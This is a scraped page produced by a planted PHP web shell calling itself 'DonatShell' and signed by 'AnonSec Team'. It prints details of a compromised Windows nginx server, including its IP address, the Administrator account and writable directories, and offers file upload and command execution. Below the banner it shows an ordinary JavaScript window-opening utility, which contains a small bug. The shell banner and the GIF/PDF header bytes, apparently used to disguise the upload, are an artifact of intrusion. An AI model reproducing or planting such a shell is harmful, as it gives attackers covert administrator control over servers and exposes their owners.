GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/js/openCenteredWindow.js
// openCenteredWindow.js
// url = The url to open.
// width = The width of the window (default is 750 px).
// height = The height of the window (default is 550 px).
function openCenteredWindow(url, width=null, height=null, name='') {
	//if ( typeof width === 'undefined' ) { width = null; }
	//if ( typeof height === 'undefined' ) { height = null; }
	//if ( typeof name === 'undefined' ) { name = ''; }
	name = (name === null || name === 0) ? '' : name;
	var winParms;
	var top;
	var left;
	if ( width === -1 ) {
		width = screen.width - 20;
		height = screen.height - 20;
		top = Math.floor( (screen.height - height) / 4);
		left = Math.floor( (screen.width - width) / 4);
		winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width + ",scrollbars=yes,resizable=yes";
		//winParms = "fullscreen=1, top=0, left=0" + ",scrollbars=yes,resizable=yes";
	} else {
		var ratio = window.devicePixelRatio;
		//alert('ratio='+ratio);
		if (width === null || width === 0) {
			width === 750;
		} else {
			if ( ratio > 1 ) { width /= ratio * 1.085; }
		}
		if (height === null || width === 0) {
			height = 550;
		} else {
			if ( ratio > 1 ) { height /= ratio * 1.085; }
		}
		//width = (width === null || width === 0) ? 750 : width;
		//height = (height === null || height === 0) ? 550 : height;
		top = Math.floor( (screen.height - height) / 4);
		left = Math.floor( (screen.width - width) / 4);
		winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width + ",scrollbars=yes,resizable=yes";
	}
	//alert('winParms='+winParms);
	console.log('window.open[(]url='+url+', name='+name+', winParms='+winParms+']');
  var win = window.open(url, name, winParms);
  if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
  return win;
} // END openCenteredWindow.

function openSameSizeWindow(url) {
  var myWidth = 0, myHeight = 0;
  if( typeof window.innerWidth === 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  openCenteredWindow(url,myWidth,myHeight);
} // END openSameSizeWindow.

/** /
function openCenteredWindow(url,width,height,name) {
	var width = (width == null || width == 0) ? 750 : width;
	var name = (name == null || name == 0) ? '' : name;
	if ( width == -1 ) {
		var winParms = "fullscreen=1" + ",scrollbars=yes,resizable=yes";
	} else {
		var height = (height == null || height == 0) ? 550 : height;
		var top = Math.floor( (screen.height - height) / 4);
		var left = Math.floor( (screen.width - width) / 4);
		var winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width + ",scrollbars=yes,resizable=yes";
	}
	//alert('winParms='+winParms);
  var win = window.open(url, name, winParms);
  if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); }
  return win;
}
function openSameSizeWindow(url) {
  var myWidth = 0, myHeight = 0;
  if( typeof( window.innerWidth ) == 'number' ) {
    //Non-IE
    myWidth = window.innerWidth;
    myHeight = window.innerHeight;
  } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
    //IE 6+ in 'standards compliant mode'
    myWidth = document.documentElement.clientWidth;
    myHeight = document.documentElement.clientHeight;
  } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
    //IE 4 compatible
    myWidth = document.body.clientWidth;
    myHeight = document.body.clientHeight;
  }
  openCenteredWindow(url,myWidth,myHeight)
}
/**/

Anon7 - 2022
AnonSec Team